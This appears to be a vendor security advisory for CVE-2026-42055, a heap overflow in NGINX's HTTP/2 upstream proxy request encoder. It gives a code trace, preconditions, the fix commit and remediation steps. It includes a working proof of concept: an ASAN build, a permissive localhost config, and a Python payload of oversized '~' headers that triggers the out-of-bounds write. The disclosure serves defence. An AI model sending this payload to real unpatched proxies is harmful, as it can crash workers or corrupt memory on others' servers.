HTTP/2 upstream proxy request encoder permits heap overflow with oversized raw headers (CVE-2026-42055)
NGINX HTTP/2 upstream proxy request encoding under-counted oversized raw forwarded headers
CVSS 3.1 base score
HighVector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Summary
Source
ngx_http_proxy_handler()
src/http/modules/ngx_http_proxy_module.c:878
Sink
ngx_http_proxy_v2_create_request()
src/http/modules/ngx_http_proxy_v2_module.c:808
When proxy_http_version 2 sends a request to an HTTP/2 upstream, ngx_http_proxy_v2_create_request() builds an HPACK-compressed request header block. Before the fix, the sizing pass used the same four-byte NGX_HTTP_V2_INT_OCTETS allowance for every forwarded header name and value length, but the serialization pass used the variable HPACK integer encoder.
A request with raw-encoded forwarded header names and values longer than NGX_HTTP_V2_MAX_FIELD makes the actual HPACK length prefix larger than the reserved budget. With enough oversized fields, the serialized header block plus in-place CONTINUATION-frame insertion exceeds the temporary upstream buffer allocation. The proof-backed sink is the ngx_memmove() continuation insertion loop in ngx_http_proxy_v2_create_request().
This is the HTTP/2 proxy half of CVE-2026-42055 / F5 advisory K000161584. The same NGINX 1.31.2 security entry covers both HTTP/2 and gRPC backends, and the F5 CVE record names ngx_http_proxy_v2_module and ngx_http_grpc_module as affected. NGINX fixed the proxy and gRPC request builders together in commit 26d824e, merged through PR #1474.
Severity
- Attack vectorAV
- Network
- Attack complexityAC
- High
- Privileges requiredPR
- None
- User interactionUI
- None
- ScopeS
- Unchanged
- ConfidentialityC
- High
- IntegrityI
- High
- AvailabilityA
- High
Metric values as published in the disclosure vector. Meters show how far each value raises exposure.
Source-to-sink trace
- Source · attacker-controlledsrc/
http/ modules/ ngx_http_proxy_module.c:878 ngx_http_proxy_handler()
- Step 01src/
http/ ngx_http_request.c:1489-1519 With
ignore_invalid_headers off, the HTTP/1.x request path stores invalid but accepted client header names and values inr->headers_in.headersinstead of dropping them.cpp if (r->invalid_header && cscf->ignore_invalid_headers) { continue; } h->key.len = r->header_name_end - r->header_name_start; h->value.len = r->header_end - r->header_start; - Step 02src/
http/ modules/ ngx_http_proxy_module.c:878-880 proxy_http_version 2dispatches the proxied request into the HTTP/2 upstream implementation. That path is reachable only for configurations using the HTTP/2 upstream proxy feature.cpp if (plcf->http_version == NGX_HTTP_VERSION_20) { return ngx_http_proxy_v2_handler(r); } - Step 03src/
http/ modules/ ngx_http_proxy_v2_module.c:271 The HTTP/2 upstream proxy handler installs
ngx_http_proxy_v2_create_request()as the request creator, so accepted client headers flow into this encoder when request-header forwarding is enabled.cpp u->create_request = ngx_http_proxy_v2_create_request; - Step 04src/
http/ modules/ ngx_http_proxy_v2_module.c:517-521 (before fix) The vulnerable sizing pass added each pass-through header with a fixed four-octet HPACK length budget for the name and another four octets for the value.
cpp len += 1 + NGX_HTTP_V2_INT_OCTETS + header[i].key.len + NGX_HTTP_V2_INT_OCTETS + header[i].value.len; - Step 05src/
http/ modules/ ngx_http_proxy_v2_module.c:764-768 (before fix) The serialization pass then wrote the same strings through the real HPACK encoder. Raw strings of 2,097,279 bytes require five HPACK length bytes, not four.
cpp b->last = ngx_http_v2_write_name(b->last, header[i].key.data, header[i].key.len, tmp); b->last = ngx_http_v2_write_value(b->last, header[i].value.data, header[i].value.len, tmp); - Step 06src/
http/ modules/ ngx_http_proxy_v2_module.c:808-809 (before fix) After serialization, the request builder inserts CONTINUATION frame headers in place with
ngx_memmove(). The underestimated HPACK block can leave too little slack, turning the frame insertion into the final out-of-bounds write.cpp ngx_memmove(b->pos + n + sizeof(ngx_http_proxy_v2_frame_t), b->pos + n, b->last - b->pos - n); - Step 07src/
http/ modules/ ngx_http_proxy_v2_module.c:517-570 (fix, commit 26d824e) The fix applies the same
NGX_HTTP_V2_MAX_FIELDguard used by HTTP/2 response header sizing before accounting pass-through request header names and values.cpp if (header[i].key.len > NGX_HTTP_V2_MAX_FIELD) { ngx_log_error(NGX_LOG_ERR, r->connection->log, 0, "too long http2 header name: \"%V\"", &header[i].key); return NGX_ERROR; } if (header[i].value.len > NGX_HTTP_V2_MAX_FIELD) { ngx_log_error(NGX_LOG_ERR, r->connection->log, 0, "too long http2 header value: \"%V: %V\"", &header[i].key, &header[i].value); return NGX_ERROR; } len += 1 + NGX_HTTP_V2_INT_OCTETS + header[i].key.len + NGX_HTTP_V2_INT_OCTETS + header[i].value.len; - Sinksrc/
http/ modules/ ngx_http_proxy_v2_module.c:808 ngx_http_proxy_v2_create_request()
Impact
Reported impact
The proven impact is a remote, unauthenticated heap out-of-bounds write in an NGINX worker under restrictive non-default configuration. The ASAN proof confirms a write in ngx_http_proxy_v2_create_request() at the continuation-frame movement sink. Without ASAN, observable behavior depends on allocator state and may range from a failed upstream request to worker crash or memory corruption.
Attack surface
NGINX Open Source deployments using proxy_http_version 2 to proxy requests to HTTP/2 upstreams. The HTTP/2 upstream proxy feature was introduced in the 1.29.x line, and the combined CVE is fixed in Open Source 1.31.2+ and 1.30.3+.
Preconditions
The request must reach a proxy_pass location configured with proxy_http_version 2; proxy_pass_request_headers must be enabled, which is the default; ignore_invalid_headers off must allow raw-unfriendly header names; and large_client_header_buffers must permit multi-megabyte header lines. The worker must also be able to allocate the large request header buffers and upstream request buffer.
Attack path
- 1
Send an HTTP/1.x request to a vulnerable HTTP/2 upstream proxy location.
- 2
Include multiple pass-through headers whose names and values are
NGX_HTTP_V2_MAX_FIELD + 1bytes of a raw-unfriendly byte such as~. - 3
The proxy-v2 sizing pass allocates the upstream request buffer using a four-byte HPACK integer budget per name and value.
- 4
The serializer emits five-byte HPACK length prefixes for the oversized raw strings.
- 5
The in-place CONTINUATION-frame insertion loop shifts the serialized block and writes past the allocation.
Proof of concept
- 01
Environment setup
Build a vulnerable NGINX checkout before commit
26d824e, such ase8053c867f9ab14f323e3019ccab585d857abb66, with ASAN and HTTP/2 support:bash ./auto/configure --with-http_v2_module --with-debug \ --with-cc-opt='-O1 -g -fsanitize=address -fno-omit-frame-pointer' \ --with-ld-opt='-fsanitize=address' make -j"$(getconf _NPROCESSORS_ONLN 2>/dev/null || sysctl -n hw.ncpu)" - 02
Target configuration
Run a disposable localhost-only proxy with HTTP/2 upstream mode and permissive header parsing:
nginx worker_processes 1; master_process off; daemon off; error_log logs/error.log debug; events { worker_connections 1024; } http { access_log off; ignore_invalid_headers off; large_client_header_buffers 16 5m; server { listen 127.0.0.1:<front_port>; location / { proxy_http_version 2; proxy_pass http://127.0.0.1:<unused_loopback_port>; } } } - 03
Exploit delivery
Send seven pass-through headers whose names and values are each 2,097,279
~bytes:python payload = bytearray(b"GET / HTTP/1.1\r\nHost: localhost\r\n") for _ in range(7): payload.extend(b"~" * 2097279) payload.extend(b": ") payload.extend(b"~" * 2097279) payload.extend(b"\r\n") payload.extend(b"Connection: close\r\n\r\n") sock.sendall(payload)The proof model reported
budget_total=29362070,allocated=29378198,final_size=29378200, andoverflow_bytes=2. - 04
Expected response
A vulnerable ASAN build reports:
text ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 1871 SUMMARY: AddressSanitizer: heap-buffer-overflow ngx_http_proxy_v2_module.c:808 in ngx_http_proxy_v2_create_request CONFIRMED: ASAN heap-buffer-overflow in ngx_http_proxy_v2_create_request with oversized raw '~' names and values - 05
Outcome
The proof confirms heap memory corruption while building the upstream HTTP/2 proxy request. After commit
26d824e, the oversized forwarded header name or value is rejected before HPACK serialization, and the ASAN heap-buffer-overflow no longer appears.
Remediation
Guidance
Upgrade NGINX Open Source to 1.31.2+ or 1.30.3+, or apply commit 26d824ec3a2f819300edce0ab3b055751c9843ff. Before upgrading, reduce exposure by keeping ignore_invalid_headers on, avoiding multi-megabyte public header buffers, and disabling or filtering request-header forwarding for HTTP/2 upstream proxy locations that do not require arbitrary client headers.
len += 1 + NGX_HTTP_V2_INT_OCTETS + header[i].key.len+ NGX_HTTP_V2_INT_OCTETS + header[i].value.len;/* later */b->last = ngx_http_v2_write_name(b->last, header[i].key.data,header[i].key.len, tmp);b->last = ngx_http_v2_write_value(b->last, header[i].value.data,header[i].value.len, tmp);if (header[i].key.len > NGX_HTTP_V2_MAX_FIELD) { ngx_log_error(NGX_LOG_ERR, r->connection->log, 0, "too long http2 header name: \"%V\"", &header[i].key); return NGX_ERROR;} if (header[i].value.len > NGX_HTTP_V2_MAX_FIELD) { ngx_log_error(NGX_LOG_ERR, r->connection->log, 0, "too long http2 header value: \"%V: %V\"", &header[i].key, &header[i].value); return NGX_ERROR;} len += 1 + NGX_HTTP_V2_INT_OCTETS + header[i].key.len + NGX_HTTP_V2_INT_OCTETS + header[i].value.len;
Check the upstream record for the project's current remediation status.
Investigate the paths that matter in your codebase.
Winfunc can trace relevant code paths, preserve supporting evidence, and prepare remediation suggestions for engineering review within an agreed scope.
